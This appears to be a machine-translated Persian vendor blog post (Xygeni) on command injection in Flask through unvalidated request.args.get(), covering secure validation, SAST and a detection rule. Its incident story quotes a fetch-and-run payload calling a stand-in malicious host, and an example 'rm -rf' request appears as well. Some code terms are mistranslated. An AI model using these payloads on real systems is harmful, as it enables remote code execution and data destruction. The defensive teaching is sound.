request.get - پاکسازی ورودی - امنیت فلاسک

هرگز بدون پاکسازی به request.get() اعتماد نکنید: چگونه ورودی، امنیت فلاسک را از بین می‌برد

تله چیده شده است: چگونه request.get() در را باز می‌کند

در سال ۲۰۲۳، یک استارتاپ فین‌تک، یک پلتفرم داخلی مبتنی بر فلاسک را مستقر کرد. dashboard که به کارکنان DevOps اجازه می‌داد تا وظایف زیرساخت را از راه دور آغاز کنند. یکی از مسیرها از request.args.get(“cmd”) برای بازیابی یک دستور shell از رشته پرس و جو و ارسال مستقیم آن به یک فراخوانی سیستمی استفاده می‌کرد.

با این فرض که فقط کاربران مورد اعتماد به سیستم داخلی دسترسی دارند، این امر ایمن به نظر می‌رسید. dashboardبا این حال، به دلیل پیکربندی نادرست پروکسی معکوس، این سرویس برای چندین ساعت به صورت عمومی در معرض دید عموم قرار گرفت. در طول این مدت، اسکنرهای خودکار، نقطه پایانی را شناسایی کردند.

مهاجمان به سرعت با استفاده از یک درخواست ساختگی مانند ... از آن سوءاستفاده کردند. ?cmd=curl+http://malicious.site/evil.sh|shکه منجر به اجرای کد از راه دور (RCE) شد. از آنجا، آنها به ابرداده‌ها و اعتبارنامه‌های نمونه AWS دسترسی پیدا کردند که منجر به استخراج داده‌ها و افزایش امتیاز شد.

این یک حمله‌ی پیچیده نبود؛ بلکه کاملاً توسط ورودی‌های اعتبارسنجی نشده از request.get() فعال شده بود. برنامه فاقد احراز هویت بود و هیچ گونه پاکسازی ورودی انجام نشده بود. بدتر از آن، هیچ ابزار تحلیل استاتیکی این خطر را تشخیص نداد زیرا تیم فرض کرده بود که برنامه به دلیل چارچوب داخلی‌اش ایمن است.

این مقاله در مورد چگونگی سوءاستفاده از چنین نقص‌هایی نیست. هدف آن کمک به توسعه‌دهندگان برای تشخیص این الگوی ناامن، درک خطرات و اتخاذ شیوه‌های کدنویسی ایمن برای جلوگیری از حوادث مشابه است.

اکسپلویت در عمل: یک برنامه Flask که توسط ورودی خراب شده است

در این بخش، ما یک برنامه‌ی مینیمالیستی از Flask را به نمایش می‌گذاریم که نشان می‌دهد چقدر سریع ممکن است همه چیز خراب شود. درخواست.دریافت() بدون اعتبارسنجی استفاده می‌شود. سادگی این مثال، خطر را برجسته می‌کند، حتی چند خط کد ناامن می‌تواند سیستم شما را در معرض تهدیدات جدی قرار دهد.

این نقطه پایانی طول می‌کشد CMD پارامتر را از درخواست دریافت کرده و مستقیماً به آن ارسال می‌کند سیستم عامل ()os، به هر کسی که بتواند به نقطه پایانی دسترسی پیدا کند، اجازه می‌دهد دستورات سیستمی دلخواه را اجرا کند. بدون بررسی ورودی، بدون پاکسازی ورودی، بدون guardrailsاین یک مثال درسی از نحوه‌ی عدم مدیریت ورودی کاربر است.

درخواست.دریافت

بدون اعتبارسنجی، مهاجمان می‌توانند با ارسال مستقیم دستورات خطرناک shell در رشته پرس‌وجو، از این مشکل سوءاستفاده کنند. برای مثال، یک درخواست ساده مانند حلقه 'http://localhost:5000/run?cmd=rm+-rf+/some/dir' می‌تواند دایرکتوری‌های حیاتی را پاک کند. این دستور به همان صورت و بدون فیلتر اجرا می‌شود و به مهاجم این امکان را می‌دهد که اجرای کد از راه دور (RCE) قابلیت های.

خطر واقعی این است که این آسیب‌پذیری چقدر بی‌صدا از توسعه عبور می‌کند. pipelineاز آنجایی که هیچ ابزارهای تحلیل استاتیک طوری پیکربندی شده که الگوهای ناامن مانند unsanization را تشخیص دهد درخواست.دریافت()و از آنجا که اعتقاد بر این بود که نقطه پایانی فقط به صورت داخلی استفاده می‌شود، هیچ کس در طول بررسی کد، این مشکل را گزارش نکرد. این نقطه کور رایج DevOps، اعتماد به محیط‌های داخلی و نادیده گرفتن اعتبارسنجی به خاطر سرعت، باعث شد که یک آسیب‌پذیری بحرانی بدون شناسایی به محیط عملیاتی برسد.

جایی که همه چیز خراب می‌شود: مشکلات رایج توسعه‌دهندگان

بسیاری از آسیب‌پذیری‌های جدی در برنامه‌های Flask نه از منطق پیچیده، بلکه از اشتباهات ساده و مکرر ناشی می‌شوند. وقتی سرعت توسعه بر امنیت اولویت پیدا می‌کند، الگوهای پرخطر خاصی عادی‌سازی می‌شوند، اغلب بدون اینکه توسعه‌دهندگان متوجه عواقب بلندمدت آنها شوند.

در اینجا رایج‌ترین اشتباهات ذکر شده است:

  • با استفاده از درخواست.دریافت() بدون اعتبارسنجی یا مقادیر پیش‌فرض
    توسعه‌دهندگان اغلب استفاده می‌کنند درخواست.args.get() برای استخراج سریع پارامترها از یک درخواست. بدون پیش‌فرض‌ها یا اعتبارسنجی، این امر منجر به رفتار غیرقابل پیش‌بینی، مانند ارسال می‌شود. هیچ به منطق نفوذ کند یا اجازه دهد ورودی خام کاربر در عملیات خطرناک وارد شود.
  • اعتماد به ورودی‌های خارجی بدون بررسی
    اینکه آیا ورودی از یک فرم عمومی، یک دروازه API یا یک درگاه داخلی می‌آید یا خیر. dashboard، باید به عنوان یک چیز غیرقابل اعتماد در نظر گرفته شود. فرض اینکه صرفاً به دلیل اینکه پشت یک VPN است یا توسط تیم‌های داخلی استفاده می‌شود، امن است، یک قضاوت نادرست اساسی است.
  • واگذاری امنیت به کتابخانه‌های شخص ثالث بدون تأیید رفتار
    اگرچه کتابخانه‌ها می‌توانند عملکرد را انتزاعی کنند، اما نباید کورکورانه برای اجرای امنیت به آنها اعتماد کرد. همیشه نحوه مدیریت ورودی‌ها را درک کنید و در صورت لزوم، کد خارجی را در لایه‌های اعتبارسنجی خود قرار دهید.
  • عدم تعریف نوع یا اعتبارسنجی ورودی در کنترل‌کننده‌های مسیر
    فلاسک امکان تایپ پویا و مدیریت انعطاف‌پذیر درخواست‌ها را فراهم می‌کند، اما این امر می‌تواند به سرعت منجر به اشکالات یا نقص‌های تزریق شود. بدون اجرای صریح نوع و اعتبارسنجی طرحواره، ورودی‌های غیرمنتظره می‌توانند منطق را دور بزنند یا سرویس‌های پایین‌دستی را مختل کنند.

این اشتباهات اغلب ناشی از فشار برای حرکت سریع، راه‌اندازی یک ویژگی یا پیاده‌سازی یک راه‌حل هستند. اما هر میانبر، امنیت برنامه شما را تضعیف می‌کند. کدنویسی ایمن باید ... standard، مستثنی نیست.

چرا request.get() به طور پیش‌فرض خطرناک است؟

در یک نگاه، درخواست.دریافت()، از جمله انواع آن مانند درخواست.args.get() و درخواست.فرم.دریافت()، بی‌ضرر و راحت به نظر می‌رسد. اما در پس این سادگی، یک فرض خطرناک نهفته است: اینکه داده‌های ورودی قابل اعتماد هستند.

این فرض ناقص است. چه در حال ساخت یک API عمومی باشید و چه یک ابزار داخلی، ورودی کلاینت همیشه باید به عنوان یک ورودی غیرقابل اعتماد در نظر گرفته شود. با این حال، در بسیاری از تیم‌های توسعه، به خصوص هنگام کار با میکروسرویس‌ها یا ابزارهای داخلی dashboardتمایلی به نادیده گرفتن اعتبارسنجی وجود دارد «چون داخلی است». این طرز فکر، در را به روی آسیب‌پذیری‌های بحرانی باز می‌کند.

چرا این کار ریسک دارد؟

  • بدون اجرای نوع: درخواست.دریافت() داده‌ها را به همان شکلی که هستند برمی‌گرداند. نوع، قالب یا وجود فیلدهای الزامی را اعتبارسنجی نمی‌کند.
  • شکست‌های خاموشاگر کلیدی گم شده باشد، برمی‌گرداند هیچ، که اغلب منجر به رفتارهای ناخواسته یا خطاهای منطقی در مراحل بعدی می‌شود.
  • بدون فیلترینگورودی‌های مضر را حذف یا پاکسازی نمی‌کند و برنامه شما را در برابر حملات تزریق آسیب‌پذیر می‌کند.

توهم امنیت درونی

در محیط‌های میکروسرویس یا ابزارهای پشت VPN، توسعه‌دهندگان اغلب به مرزهای زیرساختی به عنوان دفاع اصلی خود تکیه می‌کنند. این امر منجر به احساس امنیت کاذب می‌شود. پیکربندی‌های نادرست، اعتبارنامه‌های فاش شده یا یک سرویس در معرض دید می‌تواند به سرعت «فقط داخلی» را به «قابل بهره‌برداری عمومی» تبدیل کند. درخواست.دریافت() مشکل این نیست؛ اعتماد کورکورانه مشکل‌ساز است. بدون اعتبارسنجی ورودی، شما به مهاجمان دسترسی مستقیم به منطق برنامه و به‌طور بالقوه، زیرساخت خود می‌دهید.

ایمن‌سازی جریان: اعتبارسنجی صحیح ورودی کاربر

سنگ بنای امنیت Flask ساده است: هرگز ورودی را بدون اعتبارسنجی ساختاریافته پردازش نکنیدهر قطعه داده‌ای که برنامه شما دریافت می‌کند، چه از پارامترهای پرس‌وجو، فرم‌ها یا APIها، باید به عنوان داده‌ای غیرقابل اعتماد در نظر گرفته شود و قبل از استفاده، به دقت اعتبارسنجی شود.

کتابخانه‌های پیشنهادی برای اعتبارسنجی ورودی

اکوسیستم پایتون چندین کتابخانه کامل متناسب با اعتبارسنجی داده‌های درخواست ارائه می‌دهد:

  • گل ختمی – برای تعریف طرحواره‌ها و deserialize کردن داده‌ها عالی است.
  • شگفت انگیز – به خاطر مدل‌های type-safe شناخته می‌شود؛ به طور گسترده در FastAPI استفاده می‌شود، اما در Flask نیز به خوبی کار می‌کند.
  • WTForms – ایده‌آل برای مدیریت و اعتبارسنجی فرم در برنامه‌های وب سنتی.

این ابزارها تعریف و اعمال ساختار، انواع و محدودیت‌های ورودی کاربر را آسان می‌کنند.

چه چیزی را اعتبارسنجی کنیم

  • انواع: مطمئن شوید که اعداد صحیح، اعداد صحیح، رشته‌ها، رشته‌ها و مقادیر بولی، بولی هستند.
  • محدوده‌ها و طول‌ها: برای اعداد مرز تعیین کنید و حداقل و حداکثر طول را برای رشته‌ها اعمال کنید.
  • فیلدهای مورد نیاز: صراحتاً وجود پارامترهای خاصی را الزامی می‌دانند.
  • الگوهای: از عبارات منظم برای اعتبارسنجی قالب‌های مورد انتظار مانند ایمیل‌ها، توکن‌ها یا نام فایل‌ها استفاده کنید.

مثال با مارشمالو:

دکوراتورهای قابل استفاده مجدد برای کدنویسی تمیز

شما می‌توانید دکوراتورهایی ایجاد کنید تا اعتبارسنجی را به طور مداوم در چندین مسیر اعمال کنید:

خط پایین

اعتبارسنجی ساختاریافته اختیاری نیست؛ ضروری است. هرگز به ورودی خام، حتی در سیستم‌های داخلی، اعتماد نکنید. همیشه از طرحواره‌ها استفاده کنید، همیشه نوع‌ها و قالب‌ها را بررسی کنید و همیشه آنچه را که پردازش می‌کنید، پاکسازی کنید.

اصلاحات DevSecOps: Pipeline Security، شیفت به چپ

امنیت نباید در مرحله تولید شروع شود؛ بلکه باید از لحظه نوشتن کد شروع شود. این اصل اساسی پشت «حرکت «شیفت به چپ»: شناسایی مشکلات امنیتی در مراحل اولیه چرخه حیات توسعه، قبل از اینکه حتی به زمان اجرا برسند.

امنیت را از ابتدا برقرار کنید Commit

برای جلوگیری موثر از استفاده‌ی پرخطر از request.get() و الگوهای مشابه، امنیت را مستقیماً در سیستم خود ادغام کنید. CI/CD pipeline. نحوه کار:

  • اضافه کردن SAST قوانین (تست امنیت برنامه استاتیک) به گردش کار شما. این قوانین می‌توانند کدهای خطرناکی مانند فراخوانی‌های request.get() که به توابع سیستم ارسال می‌شوند را شناسایی کنند.
  • با استفاده از ابزارهایی مانند Bandit، Semgrep یا اسکریپت‌های سفارشی، بررسی‌ها را خودکار کنید. آن‌ها را به عنوان بخشی از GitHub Actions، GitLab CI یا Bitbucket اجرا کنید. Pipelines.
  • سیاست‌های سفارشی را برای علامت‌گذاری رویه‌های ناامن مانند استفاده از request.args.get() بدون اعتبارسنجی تعریف کنید.

ادغام‌های بلوکی که ریسک ایجاد می‌کنند

کدی که در بررسی‌های اعتبارسنجی ناموفق عمل می‌کند، نباید اجازه ادغام داشته باشد. commitجلوگیری از ادغام، نظم و انضباط امنیتی را در بین تیم‌ها تقویت می‌کند و به ایجاد فرهنگ پاسخگویی کمک می‌کند.

با تعبیه تحلیل امنیتی خودکار در سیستم خود pipelineشما مشکلات را هنگام بروز آنها شناسایی می‌کنید، نه پس از انتشار. این امر ریسک را کاهش می‌دهد، در زمان صرفه‌جویی می‌کند و به تیم‌ها کمک می‌کند تا برنامه‌های Flask را با اطمینان مستقر کنند.

به بسته اعتماد نکنید: ریسک شخص ثالث

در حالی که کتابخانه‌های شخص ثالث می‌توانند بهره‌وری را افزایش دهند، آنها همچنین می‌توانند بی‌سروصدا آسیب‌پذیری‌های امنیتی را ایجاد کنند، به خصوص در مورد مدیریت ورودی.

خطرات واقعی ناشی از بسته‌های ناامن

مواردی وجود داشته است که کتابخانه‌های معتبر، عملیات ناامنی را در خفا انجام داده‌اند، مانند خواندن ورودی کاربر با استفاده از request.get() و ارسال مستقیم آن به توابعی مانند eval()، open() یا دستورات سیستم. این نقص‌ها اغلب در پشت لایه‌های انتزاعی پنهان هستند و تشخیص آنها را در طول بررسی کد دشوارتر می‌کنند.

برای مثال، ابزاری که برای ساده‌سازی آپلود فایل‌ها طراحی شده بود، از پارامترهای پرس‌وجوی کنترل‌نشده برای ساخت مسیرهای فایل استفاده می‌کرد، الگویی که پیمایش مسیر و دسترسی غیرمجاز به فایل را امکان‌پذیر می‌کرد.

وابستگی‌های انتقالی: تهدید پنهان

حتی اگر وابستگی‌های مستقیم شما امن باشند، وابستگی‌های انتقالی ممکن است اینطور نباشد. اینها بسته‌هایی هستند که کتابخانه‌های شما به آنها وابسته هستند و می‌توانند بدون اطلاع شما رفتارهای پرخطری را به همراه داشته باشند. یک به‌روزرسانی جزئی در یک وابستگی در اعماق پشته شما می‌تواند باعث ایجاد یک کاربرد نامشخص request.get() در مکان‌هایی شود که شما کنترلی بر آنها ندارید. این خطر در میکروسرویس‌ها و ابزارهای داخلی که به شدت به کتابخانه‌های کوچک‌تر و خاص متکی هستند، چند برابر می‌شود.

چه کار باید کرد؟

  • وابستگی‌ها، از جمله وابستگی‌های انتقالی، را مرتباً بررسی کنید.
  • از ابزارهایی مانند pip-audit، Safety یا GitHub Dependabot برای اسکن آسیب‌پذیری‌های شناخته‌شده استفاده کنید.
  • به صورت دستی بررسی کنید که بسته‌های خارجی چگونه ورودی کاربر را مدیریت می‌کنند، به خصوص اگر با مسیرها یا پارامترهای درخواست تعامل دارند.

هرگز فرض نکنید که یک بسته، هر چقدر هم کوچک یا شناخته شده، امنیت شما را تضمین می‌کند. standardهمیشه ورودی‌های خارجی را قبل از ورود به منطق برنامه خود، اعتبارسنجی کنید.

بهداشت توسعه‌دهنده: آموزش و فرهنگ DevSecOps

ساخت برنامه‌های کاربردی امن فقط مربوط به ابزارها نیست؛ بلکه مربوط به فرهنگ است. تیم‌ها باید امنیت را به عنوان بخشی از هویت توسعه خود درونی کنند. این به معنای تبدیل کدنویسی امن، به ویژه اعتبارسنجی ورودی، به بخشی غیرقابل مذاکره از هر گردش کاری است.

اعتبارسنجی ورودی را بخشی از بررسی کد قرار دهید

هر بررسی کد باید بپرسد:

  • آیا ورودی کاربر اعتبارسنجی می‌شود؟
  • آیا طرحواره‌ها یا بررسی‌های نوع (type checking) در محل خود قرار دارند؟
  • آیا ورودی خام به منطق یا دستورات منتقل می‌شود؟

تشویق به انجام این بررسی‌ها در طول بررسی‌های همتا، این طرز فکر را پرورش می‌دهد که امنیت وظیفه همه است، نه فقط وظیفه تیم امنیتی.

تعریف سیاست‌های کدنویسی امن برای APIهای Flask

دستورالعمل‌های داخلی تدوین کنید که موارد زیر را مشخص کنند:

  • نحوه مدیریت ورودی درخواست (هرگز بدون اعتبارسنجی به request.get() اعتماد نکنید)
  • چه زمانی و چگونه از کتابخانه‌هایی مانند Marshmallow یا Pydantic استفاده کنیم؟
  • الزامات استفاده از دکوراتورها و اعتبارسنجی طرحواره در مسیرها

این سیاست‌ها را بخشی از فرآیند استخدام و مستندسازی خود قرار دهید.

ابزارهایی برای تشخیص الگوهای ناامن

از اتوماسیون برای شناسایی زودهنگام و مداوم الگوهای پرخطر استفاده کنید:

  • لینترها: ابزارهایی مانند flake8، pylint یا ruff را می‌توان با افزونه‌ها توسعه داد تا سوءاستفاده از request.get() را تشخیص دهند.
  • Pre-commit hooks: قبل از اینکه کد به طور کامل اجرا شود، به طور خودکار الگوهای خطرناک را اسکن می‌کند commitخسته
  • تحلیل‌گرهای ایستا: ابزارهایی مانند Bandit، Xygeni یا Semgrep می‌توانند مدیریت ورودی‌های ناامن، اعتبارسنجی‌های از دست رفته یا جریان‌های داده ناامن را شناسایی کنند.

فرهنگ را بسازید

امنیت فقط فنی نیست، بلکه رفتاری است. وقتی اعتبارسنجی ماهیت دوم است، وقتی بررسی‌ها ایمنی را در اولویت قرار می‌دهند، و وقتی ابزار، الزام می‌کند standardتیم شما به طور خودکار و از روی طراحی، انعطاف‌پذیر می‌شود.

Xygeni: چگونه از این مشکلات جلوگیری می‌کند

شیگنی به بستن آن در از لحظه نوشتن کد کمک می‌کند. این یک پلتفرم اتوماسیون امنیتی است که الگوهای خطرناک، مانند استفاده‌ی بی‌نظم از request.get() را در همان ابتدا تشخیص می‌دهد. commit.

تشخیص زودهنگام با طراحی

Xygeni همه را اسکن می‌کند commit و pull request برای شناسایی استفاده ناامن از request.get() و ضد الگوهای مشابه. این ابزار مواردی را که ورودی قبل از ارسال به توابع حیاتی مانند os.system، eval یا عملیات فایل، اعتبارسنجی نمی‌شود، علامت‌گذاری می‌کند.

این رویکرد پیشگیرانه تضمین می‌کند که کد پرخطر هرگز بی‌سروصدا به مرحله تولید نمی‌رسد.

مسدود کردن ادغام‌های ناامن به صورت خودکار

فراتر از تشخیص، Xygeni به تیم‌ها اجازه می‌دهد تا سیاست‌هایی را اعمال کنند که از ادغام کدهای ناامن جلوگیری می‌کند. این سیاست‌ها قابل تنظیم هستند و به سازمان‌ها اجازه می‌دهند بر اساس امنیت داخلی Flask خود، تعریف کنند که چه چیزی قابل قبول است و چه چیزی نیست. standards.

الگو: «درخواست\.args\.get\(['\”]\w+['\”]\)»

وضعیت: «استفاده‌شده در os\.system یا open() یا exec()»

عمل: «بلوک»

بدون درز CI/CD ادغام

Xygeni به راحتی با پلتفرم‌هایی مانند موارد زیر ادغام می‌شود:

چه از CI مبتنی بر ابر استفاده کنید و چه از سرور اختصاصی خودتان pipelineXygeni بدون هیچ اختلالی در گردش کار شما جای می‌گیرد و سیاست‌های امنیتی Flask را به طور مداوم در هر مخزن اجرا می‌کند.

با تعبیه کردن بررسی‌های امنیتی مستقیماً در توسعه شما pipelineXygeni تضمین می‌کند که الگوهای ناامن زود شناسایی، به سرعت بررسی و قبل از اینکه آسیبی ایجاد کنند، اصلاح شوند.

ضربه آخر: ورودی را پاک کنید یا به خطر بیفتید

تأکید بر این نکته مهم است: این فقط یک مشکل امنیتی Flask نیست. مسئله اصلی، اعتماد به ورودی کاربر، صرف نظر از چارچوب یا محیط آن است.

ورودی‌های نامعتبر یک بردار تهدید جهانی هستند؛ این ورودی‌ها منجر به اجرای کد از راه دور، نقض داده‌ها، افزایش سطح دسترسی و در نهایت از دست دادن کنترل بر سیستم‌های شما می‌شوند. به همین دلیل است که اعتبارسنجی باید به عنوان یک نگرانی درجه یک در تمام فرآیندهای توسعه در نظر گرفته شود. همه چیز را اعتبارسنجی کنید. هیچ چیز را فرض نکنید. همیشه ضدعفونی کنید.

اعتبارسنجی اختیاری نیست. داشتنش «خوب» نیست. این بخش غیرقابل مذاکره‌ای از توسعه نرم‌افزار امن است. عدم اعتبارسنجی ورودی مانند باز گذاشتن درِ ورودی در یک محله خطرناک است؛ بالاخره کسی وارد خواهد شد.

چه در حال ساخت API برای مصرف عمومی باشید و چه در حال ساخت سرویس‌های داخلی پشت VPNها، ورودی‌ها باید اعتبارسنجی و پاکسازی شوند. هر پارامتر، هر فیلد فرم، هر رشته پرس‌وجو، همیشه.

بهترین شیوه‌های ذکر شده در این مقاله، اعتبارسنجی مبتنی بر طرحواره، تحلیل کد استاتیک، امنیت pipelineو بهداشت فرهنگی، برای دفاع در برابر سوءاستفاده از request.get() و الگوهای ناامن مشابه ضروری هستند.

ابزارهای-نرم‌افزاری-ترکیب-تحلیل-ترکیب-ابزارها
ریسک‌های نرم‌افزاری خود را اولویت‌بندی، اصلاح و ایمن‌سازی کنید
حساب کاربری رایگان خود را دریافت کنید.
بدون کارت اعتباری مورد نیاز است.

توسعه و تحویل نرم‌افزار خود را ایمن کنید

با مجموعه محصولات Xygeni